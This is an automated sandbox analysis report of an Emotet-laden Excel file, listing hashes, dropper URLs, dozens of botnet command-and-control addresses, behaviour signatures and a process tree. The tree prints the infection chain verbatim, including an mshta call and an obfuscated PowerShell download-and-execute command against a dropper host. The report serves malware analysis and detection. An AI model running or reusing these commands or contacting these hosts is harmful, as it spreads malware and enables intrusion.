emotet | 99fb8e56910e4f565490dcc92f9f26f2a1f97f4d01db32bda91c30bf8efec221

Analysis

max time kernel
135s
max time network
176s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 16:49

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General

Target
tmpjz2pi1gz.xls
Size 85KB
Sample220128-vbrwyaggap
SHA256 99fb8e56910e4f565490dcc92f9f26f2a1f97f4d01db32bda91c30bf8efec221
MD5 5a135dc3f68a8e4d0f49807b3da54201
SHA1 a5e37bb24107e98993f86a5cba3c9e9109c37a77
SHA512 9f76d8ef68ede0695f6c779fdcf912c238ecb4066024758a8af250402cf78d4b842a28505d3a4931d5b2fad2349497bc3d495f715a06ae13f7995eb5c96e5e9a
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/gg/ff/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/gg/ff/fe.png

Extracted

Family

emotet

Botnet

Epoch4

160.16.102.168:80
131.100.24.231:80
200.17.134.35:7080
207.38.84.195:8080
212.237.56.116:7080
58.227.42.236:80
104.251.214.46:8080
158.69.222.101:443
192.254.71.210:443
46.55.222.11:443
45.118.135.203:7080
107.182.225.142:8080
103.75.201.2:443
104.168.155.129:8080
195.154.133.20:443
159.8.59.82:8080
110.232.117.186:8080
45.142.114.231:8080
41.76.108.46:8080
203.114.109.124:443
50.116.54.215:443
209.59.138.75:7080
185.157.82.211:8080
164.68.99.3:8080
162.214.50.39:7080
138.185.72.26:8080
178.63.25.185:443
51.15.4.22:443
81.0.236.90:443
216.158.226.206:443
45.176.232.124:443
162.243.175.63:443
212.237.17.99:8080
45.118.115.99:8080
129.232.188.93:443
173.214.173.220:8080
178.79.147.66:8080
176.104.106.96:8080
51.38.71.0:443
173.212.193.249:8080
217.182.143.207:443
212.24.98.99:8080
159.89.230.105:443
79.172.212.216:8080
212.237.5.209:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1284	2540	CMD.EXE	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
47	1316	mshta.exe
48	1500	powershell.exe
50	1500	powershell.exe
54	1500	powershell.exe
55	1476	rundll32.exe
57	1476	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
344	rundll32.exe
3816	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Qjpqqqagsy\qwvjcsa.qgv	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
500	1316	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2540	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1500	powershell.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
500	WerFault.exe
1500	powershell.exe
1500	powershell.exe
1476	rundll32.exe
1476	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	500	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2540	EXCEL.EXE
2540	EXCEL.EXE
2540	EXCEL.EXE
2540	EXCEL.EXE
2540	EXCEL.EXE
2540	EXCEL.EXE
2540	EXCEL.EXE
2540	EXCEL.EXE
2540	EXCEL.EXE
2540	EXCEL.EXE
2540	EXCEL.EXE
2540	EXCEL.EXE
2540	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 1284	2540	EXCEL.EXE	71
PID 2540 wrote to memory of 1284	2540	EXCEL.EXE	71
PID 1284 wrote to memory of 1316	1284	CMD.EXE	73
PID 1284 wrote to memory of 1316	1284	CMD.EXE	73
PID 1316 wrote to memory of 1500	1316	mshta.exe	75
PID 1316 wrote to memory of 1500	1316	mshta.exe	75
PID 1500 wrote to memory of 2232	1500	powershell.exe	80
PID 1500 wrote to memory of 2232	1500	powershell.exe	80
PID 2232 wrote to memory of 344	2232	cmd.exe	81
PID 2232 wrote to memory of 344	2232	cmd.exe	81
PID 2232 wrote to memory of 344	2232	cmd.exe	81
PID 344 wrote to memory of 3816	344	rundll32.exe	82
PID 344 wrote to memory of 3816	344	rundll32.exe	82
PID 344 wrote to memory of 3816	344	rundll32.exe	82
PID 3816 wrote to memory of 428	3816	rundll32.exe	83
PID 3816 wrote to memory of 428	3816	rundll32.exe	83
PID 3816 wrote to memory of 428	3816	rundll32.exe	83
PID 428 wrote to memory of 1476	428	rundll32.exe	84
PID 428 wrote to memory of 1476	428	rundll32.exe	84
PID 428 wrote to memory of 1476	428	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpjz2pi1gz.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.172/gg/ff/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1500
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2232
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:344
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3816
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qjpqqqagsy\qwvjcsa.qgv",ENlyp
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:428
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Qjpqqqagsy\qwvjcsa.qgv",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1476
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1316 -s 1660
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/344-1842-0x0000000004740000-0x0000000004765000-memory.dmp

Download

memory/428-1857-0x0000000004910000-0x0000000004935000-memory.dmp

Download

memory/1476-1861-0x0000000004A00000-0x0000000004A25000-memory.dmp

Download

memory/1476-2023-0x0000000005750000-0x0000000005775000-memory.dmp

Download

memory/1476-1995-0x00000000056D0000-0x00000000056F5000-memory.dmp

Download

memory/1476-1969-0x00000000055F0000-0x0000000005615000-memory.dmp

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memory/1476-1935-0x00000000053E0000-0x0000000005405000-memory.dmp

Download

memory/1476-1918-0x0000000005300000-0x0000000005325000-memory.dmp

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memory/1500-1495-0x000001D2C64E0000-0x000001D2C6502000-memory.dmp

Download

memory/1500-1576-0x000001D2DE8C0000-0x000001D2DE8FC000-memory.dmp

Download

memory/1500-1600-0x000001D2C6550000-0x000001D2DE680000-memory.dmp

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memory/1500-1605-0x000001D2DED30000-0x000001D2DEDA6000-memory.dmp

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memory/1500-1729-0x000001D2C6550000-0x000001D2DE680000-memory.dmp

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memory/1500-1541-0x000001D2C6550000-0x000001D2DE680000-memory.dmp

Download

memory/2540-116-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

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memory/2540-117-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

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memory/2540-123-0x00007FFE3E940000-0x00007FFE3E950000-memory.dmp

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memory/3816-1860-0x00000000052D0000-0x00000000052F5000-memory.dmp

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memory/3816-1856-0x0000000005100000-0x0000000005125000-memory.dmp

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memory/3816-1854-0x00000000050A0000-0x00000000050C5000-memory.dmp

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memory/3816-1852-0x0000000005040000-0x0000000005065000-memory.dmp

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memory/3816-1848-0x0000000004C80000-0x0000000004CA5000-memory.dmp

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memory/3816-1845-0x0000000002ED0000-0x0000000002EF5000-memory.dmp

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